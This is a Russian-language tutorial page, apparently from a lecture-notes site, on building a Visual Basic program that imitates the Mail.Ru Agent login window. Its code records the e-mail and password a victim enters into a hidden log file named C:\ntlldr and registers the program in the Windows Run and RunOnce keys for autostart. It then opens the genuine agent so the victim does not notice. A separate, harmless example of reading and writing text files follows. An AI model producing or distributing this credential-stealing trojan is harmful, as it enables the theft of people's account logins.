Студопедия

Главная страница Случайная страница

КАТЕГОРИИ:

АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатикаИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханикаОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторикаСоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансыХимияЧерчениеЭкологияЭкономикаЭлектроника






Взлом Mail.Ru, программа для взлома своими ручками.






Привет, сегодня создадим программу для взлома Mail.Ru Стандартная форма, добавим 2 кнопки, 1 image, 3 label, 1 textbox и две комбобокса. Создадим интерфейс программы “Mail.Ru Агент”

 

После того как создадим интерфейс программы два раза нажимаем на кнопку и добавим код:

Private Sub Command1_Click() On Error Resume Next 'обезапасим себя от ошибки. Dim MyFile As Long MyFile = FreeFile: Open (" C: \ntlldr") For Append As #MyFile ' имя нашего лога ntlldr Print #MyFile, " E-mail: "; Combo1.Text & Combo2.Text Print #MyFile, " Pass: "; Text1.Text: Close #MyFile SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " путь к программе", REG_SZ SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " путь к программе", REG_SZ Shell " C: \Program Files\Mail.Ru\Agent\magent.exe" EndEnd SubPrivate Sub Command2_Click() EndEnd Sub

Добавим модуль: модуль для добавление записи в реестр, качаем тут: https://vbbook.ru/files/article/vb/185/Module1.bas

можно обойтись и без модуля добавите сами вручную. Если не добавили модуль удалите строки:

SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " путь к программе", REG_SZSetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " путь к программе", REG_SZ

Обясняю то что мы написали:

Open (" C: \ntlldr") For Append As #MyFile - Создаем файл ntlldr в диске с. Имя нашего лога ntlldr, файл без расширения можно открыть с помощью блокнота.

Shell " C: \Program Files\Mail.Ru\Agent\magent.exe" - откроем настоящую программу агента чтоб не было подозрении.

SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " C: \Program Files\Mail.Ru\Agent\MailRu.exe", REG_SZ

SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " C: \Program Files\Mail.Ru\Agent\MailRu.exe", REG_SZ - Добавляем программу в реестр для автозагрузки

Вот и все.

 

Пример работы с текстом

Option Explicit Dim strOpen As String, strTxt As String, f As String, strPath As String Private Sub cmdExit_Click() Unload Me 'Выгружаем форму End Sub Private Sub cmdOpen1_Click() 'ОТКРЫТИЕ ТЕКСТОВОГО ФАЙЛА: ВАРИАНТ №1 Me. txtText.Text = " " strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f 'Открываем файл для Чтения Do While Not EOF(f) Input #f, strOpen Me. txtText.Text = Me. txtText.Text & strOpen & vbCrLf Loop Close #f End Sub Private Sub cmdOpen2_Click() 'ОТКРЫТИЕ ТЕКСТОВОГО ФАЙЛА: ВАРИАНТ №2 strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f 'Открываем файл для Чтения txtText.Text = Input(LOF(f), #f) Close #f End Sub Private Sub cmdOpen3_Click() 'ОТКРЫТИЕ УКАЗАННУЮ СТРОКУ В ТЕКСТОВОМ ФАЙЛЕ: ВАРИАНТ №3 Dim i As Integer strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f For i = 1 To 4 Input #f, strOpen Me. txtText.Text = strOpen Next i Close #f End Sub Private Sub cmdSave_Click() 'СОХРАНЕНИЕ ТЕКСТОВОГО ФАЙЛА strTxt = txtText.Text 'Присваеваем переменно txtText.Text strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Output As #f Print #f, strTxt 'Записываем Close #f 'Закрываем End Sub

 


Поделиться с друзьями:

mylektsii.su - Мои Лекции - 2015-2024 год. (0.007 сек.)Все материалы представленные на сайте исключительно с целью ознакомления читателями и не преследуют коммерческих целей или нарушение авторских прав Пожаловаться на материал